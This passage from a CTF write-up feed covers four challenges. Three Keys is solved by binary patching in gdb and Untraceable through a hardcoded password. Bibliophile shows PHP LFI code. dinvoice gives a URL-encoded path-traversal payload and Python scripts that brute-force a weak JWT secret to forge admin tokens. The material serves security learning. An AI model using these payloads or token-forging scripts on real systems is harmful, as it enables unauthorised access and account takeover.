&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; p/x &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;int&lt;span class=&quot;o&quot;&gt;)((&lt;/span&gt;long&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;the_first_key - &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;long&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;0x555555555302 + 5&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0xfffffe8e  &lt;span class=&quot;c&quot;&gt;# Relative offset to call the_first_key&lt;/span&gt;

&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;in-this-case&quot;&gt;In this case:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;The calculated relative offset to call the_third_key is 0xfffffe7c.&lt;/li&gt;
  &lt;li&gt;The calculated relative offset to call the_first_key is 0xfffffe8e.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;step-2-swap-the-function-calls&quot;&gt;Step 2: Swap the Function Calls&lt;/h5&gt;
&lt;p&gt;Now that we have the correct relative offsets, we need to patch the call instructions. This involves replacing the old offsets with the new ones.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The call instruction at address 0x555555555302 originally called the_third_key. We’ll change it to call the_first_key by setting the new relative offset (0xfffffe8e):
    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;int&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;0x555555555303&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0xfffffe8e
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;The call instruction at address 0x55555555537c originally called the_first_key. We’ll change it to call the_third_key by setting the new relative offset (0xfffffe7c):
    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;int&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;0x55555555537d&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0xfffffe7c
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;we-can-verify-the-chnages-with&quot;&gt;We can verify the chnages with:&lt;/h5&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;(gdb) disassemble 0x555555555302
(gdb) disassemble 0x55555555537c
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h5 id=&quot;after-verifying-we-continue-through-the-program-execution-and-get-the-flag&quot;&gt;After verifying, we continue through the program execution and get the flag:&lt;/h5&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;(gdb) c
Continuing.
[*] Insert the three keys to claim your prize!
[*] Just be careful to insert them in the right order...
[*] Your prize is: HTB{l3t_th3_hun7_b3g1n!}
[Inferior 1 (process 211367) exited normally]
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Three Keys has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/reversing/threekeys</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/reversing/threekeys</guid>
        
        <category>reversing</category>
        
        <category>ctf</category>
        
        <category>swap-calls</category>
        
        <category>binary-patching</category>
        
        <category>memcmp()</category>
        
        <category>gdb</category>
        
        <category>ghidra</category>
        
        
      </item>
    
      <item>
        <title>Untraceable</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/97ajfg.jpg&quot; title=&quot;ThreeKeys&quot; width=&quot;90%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;difficulty-easy&quot;&gt;Difficulty: &lt;b&gt;Easy&lt;/b&gt;&lt;/h5&gt;

&lt;h5 id=&quot;description&quot;&gt;Description:&lt;/h5&gt;
&lt;p&gt;You need access to the Halliday Journals to gather vital info to crack the next clue. However, security has been tightened, and only VIPs with a password may enter. Can you crack the new security system?&lt;/p&gt;

&lt;h5 id=&quot;challenge&quot;&gt;Challenge:&lt;/h5&gt;
&lt;p&gt;The program seems to ask the user for a password, checks if it’s correct, and based on that input, either prints the flag or a message indicating tampering. The binary also includes a check to detect tracing or debugging attempts using ptrace(). However, the core challenge here is static analysis—no need for runtime debugging tricks.&lt;/p&gt;

&lt;h5 id=&quot;solution&quot;&gt;Solution&lt;/h5&gt;

&lt;h5 id=&quot;analyzing-the-binary&quot;&gt;Analyzing The Binary:&lt;/h5&gt;
&lt;p&gt;The main logic resides in the main() function. First, let’s look at how the password is stored and checked:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;local_58[0x20] = &apos;S&apos;;
local_58[0x21] = &apos;u&apos;;
local_58[0x22] = &apos;p&apos;;
// continues to fill out &quot;SuperSecretPassword-DoNotRead!&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The password is hardcoded into memory starting at local_58[0x20] and is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;SuperSecretPassword-DoNotRead!
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is immediately revealing and indicates that the correct password is stored in the binary itself.&lt;/p&gt;

&lt;h5 id=&quot;extracting-the-flag&quot;&gt;Extracting the Flag&lt;/h5&gt;

&lt;p&gt;Assuming the correct password is provided (SuperSecretPassword-DoNotRead!), the program enters a loop that XORs the password with a key and prints the result:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;for (local_c = 0; local_c &amp;lt; 0x1d; local_c = local_c + 1) {
    putchar((int)local_58[(long)(int)local_c + 0x20] ^ (uint)(byte)(&amp;amp;DAT_00104070)[(int)local_c]);
}
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This loop iterates 29 times, XORing each character of the password with values from &amp;amp;DAT_00104070. To solve this statically, we can reverse this XOR operation in Ghidra or simply run the binary with the correct password to see the output.
&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;After passing the password to the binary, we get the flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;┌──(kali㉿kali)-[~/Desktop/rev_untraceable]
└─$ ./untraceable 
What is the password to the archive? SuperSecretPassword-DoNotRead!
HTB{0ld3st_tr1ck_1n_th3_b00k}
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Untraceable has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/reversing/untraceable</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/reversing/untraceable</guid>
        
        <category>reversing</category>
        
        <category>ctf</category>
        
        <category>hardcoded-keys</category>
        
        
      </item>
    
      <item>
        <title>Bibliophile</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/972xdb.jpg&quot; title=&quot;Bibliophile&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;difficulty-medium&quot;&gt;Difficulty: &lt;b&gt;Medium&lt;/b&gt;&lt;/h5&gt;

&lt;h5 id=&quot;description&quot;&gt;Description:&lt;/h5&gt;
&lt;p&gt;Navigate through the library’s file system to uncover a hidden manuscript rumored to contain a powerful secret. Use your skills to explore beyond the intended access points.&lt;/p&gt;

&lt;h5 id=&quot;challenge&quot;&gt;Challenge:&lt;/h5&gt;
&lt;p&gt;This was one of the easier web challenges from the Fall Huddle CTF. It involved a straightforward Local File Inclusion (LFI) vulnerability. The main issue was found in the index.php file, which allowed users to search for books on the server by providing input through the book parameter. The application doesn’t sanitize the input at all. As a result, our input was directly used to construct the file path, which meant we could easily manipulate the book parameter to include arbitrary files from the server. This allowed us to retrieve the flag fairly quick.&lt;/p&gt;

&lt;h5 id=&quot;vulnerable-code&quot;&gt;Vulnerable Code:&lt;/h5&gt;
&lt;p&gt;The $book_name is set directly from the $_GET[‘book’] input and is used in the file_exists() and include() functions without proper validation or sanitization.&lt;/p&gt;
&lt;h6 id=&quot;indexphp&quot;&gt;Index.php:&lt;/h6&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;$book_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;htmlspecialchars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;book&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$file_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$book_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;solution&quot;&gt;Solution:&lt;/h5&gt;
&lt;p&gt;Very simple. Insert LFI payload into the book parameter and retrieve the flag.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/972x21.jpg&quot; title=&quot;The Flag&quot; width=&quot;90%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Bibliophile has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/bibliophile</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/bibliophile</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>lfi</category>
        
        <category>easy</category>
        
        
      </item>
    
      <item>
        <title>dinvoice</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/97aktr.jpg&quot; title=&quot;Bibliophile&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;difficulty-medium&quot;&gt;Difficulty: &lt;b&gt;Medium&lt;/b&gt;&lt;/h5&gt;

&lt;h5 id=&quot;description&quot;&gt;Description:&lt;/h5&gt;
&lt;p&gt;Our newest web service, “dInvoice”, needs an inspection from you to unveil any critical vulnerabilities it might have that can lead to the compromise of the admin account!&lt;/p&gt;

&lt;h5 id=&quot;challenge&quot;&gt;Challenge:&lt;/h5&gt;
&lt;p&gt;This was one of the more interesting challenges from the Fall Huddle. There were several possible solutions, but we only managed to find two unintended ones. The intended solution, I believe, was to use the Server-Side Cross-Site Scripting (SSXSS) vulnerability to read the JWT secret and forge an admin cookie. Unfortunately, I couldn’t get the SSXSS to achieve this. While I was able to read files within the app directory, that was the limit. The first solution our team discovered was a directory traversal vulnerability in the file path where user markdown files are stored. The second unintended solution exploited how the JWT secret was generated — it was a random integer that could easily be brute-forced.&lt;/p&gt;

&lt;h5 id=&quot;vulnerable-code-path-traversal&quot;&gt;Vulnerable Code (Path Traversal):&lt;/h5&gt;

&lt;h6 id=&quot;indexjs&quot;&gt;index.js:&lt;/h6&gt;
&lt;p&gt;The invoice parameter is directly used in the file path without proper validation or sanitization.&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nx&quot;&gt;router&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/invoice/markdown/:invoice&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;AuthMiddleware&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;invoice&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;mdContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readFileSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`/app/static/user_files/markdown/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;invoice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mdContent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Invoice not found!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;vulnerable-code-weak-jwt-secret&quot;&gt;Vulnerable Code (Weak JWT Secret):&lt;/h5&gt;

&lt;h5 id=&quot;entrypointsh&quot;&gt;entrypoint.sh&lt;/h5&gt;
&lt;p&gt;The JWT secret is generated using the $RANDOM variable, which produces a predictable 16-bit integer between 0 and 32,767. This makes the secret weak and susceptible to brute force attacks, as the possible values for $RANDOM are limited and can be easily enumerated.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# Generate JWT Secret&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;JWT_SECRET&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$RANDOM&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;md5sum&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 32&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;solution-path-traversal&quot;&gt;Solution (Path Traversal):&lt;/h5&gt;
&lt;p&gt;This one is pretty straight forward. We can use a URL-encoded path traversal payload to retrieve the flag from the root directory.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-url&quot;&gt;http://127.0.0.1:1337/invoice/markdown/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2Fflag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;
And we get the flag:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/977iy2.jpg&quot; title=&quot;The Flag (Path Traversal&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;solution-weak-jwt-secret&quot;&gt;Solution (Weak JWT Secret):&lt;/h5&gt;
&lt;p&gt;The second solution involved brute forcing the JWT secret to get a valid Json Web Token for the Admin user. I created a couple scripts to achieve this solution (more like ChatGPT did, i just modified some stuff). We know the JWT SECRET is generated using the $RANDOM variable, meaning there are only 32,768 possible token values. 
&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;part-1-generated-the-list-of-possible-jwt-secrets-stored-in-wordlist-md5_wordlisttxt&quot;&gt;Part 1: Generated the list of possible JWT secrets. Stored in wordlist: md5_wordlist.txt.&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python3&quot;&gt;$python3 generateMD5s.py 

import hashlib

# Define the range of $RANDOM values
random_range = range(32768)

# Open the wordlist file to save the MD5 hashes
with open(&quot;md5_wordlist.txt&quot;, &quot;w&quot;) as wordlist_file:
    for rand_value in random_range:
        # Generate MD5 hash for the current $RANDOM value
        md5_hash = hashlib.md5(str(rand_value).encode()).hexdigest()[:32]
        
        # Write the hash to the wordlist
        wordlist_file.write(md5_hash + &quot;\n&quot;)

print(&quot;MD5 wordlist generated successfully and saved as &apos;md5_wordlist.txt&apos;.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;part-2-generated-a-list-of-possible-jwts-for-the-admin-using-the-list-of-md5-hashes&quot;&gt;Part 2: Generated a list of possible JWTs for the admin using the list of MD5 hashes.&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python3&quot;&gt;$Python3 generateJWTs.py md5_wordlist.txt

import jwt
import time
import sys

# Function to generate JWT using the given secret
def generate_jwt(secret):
    # JWT payload with &apos;admin&apos; and current time (iat)
    payload = {
        &apos;username&apos;: &apos;admin&apos;,
        &apos;iat&apos;: int(time.time())  # Current time as iat claim
    }
    # Generate the JWT using HS256 algorithm
    return jwt.encode(payload, secret, algorithm=&apos;HS256&apos;)

# Check if the wordlist file was provided
if len(sys.argv) != 2:
    print(&quot;Usage: python generate_jwt_wordlist.py &amp;lt;md5_wordlist&amp;gt;&quot;)
    sys.exit(1)

# Open the MD5 wordlist (hashes)
wordlist_file = sys.argv[1]
jwt_wordlist = &quot;jwt_wordlist.txt&quot;

# Open the new JWT wordlist file for writing
with open(jwt_wordlist, &quot;w&quot;) as jwt_file:
    with open(wordlist_file, &quot;r&quot;) as hashes_file:
        for secret in hashes_file:
            secret = secret.strip()  # Remove any trailing newlines
            jwt_token = generate_jwt(secret)
            # Write the generated JWT to the new wordlist
            jwt_file.write(jwt_token + &quot;\n&quot;)

print(f&quot;JWT wordlist generated and saved as &apos;{jwt_wordlist}&apos;.&quot;)
